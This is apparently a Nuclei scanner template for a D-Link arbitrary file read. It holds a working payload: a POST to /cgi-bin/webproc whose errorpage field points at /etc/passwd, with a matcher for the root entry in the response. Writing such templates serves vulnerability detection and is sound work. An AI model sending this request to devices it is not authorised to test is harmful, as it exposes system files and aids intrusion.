id: dlink-file-read info: name: D-Link Arbitrary File Read author: dhiyaneshDK severity: high reference: https://suid.ch/research/DAP-2020_Preauth_RCE_Chain.html tags: dlink,lfi requests: - method: POST path: - "{{BaseURL}}/cgi-bin/webproc" body: 'errorpage=/etc/passwd&obj-action=auth&:action=login' matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0" part: body - type: status status: - 200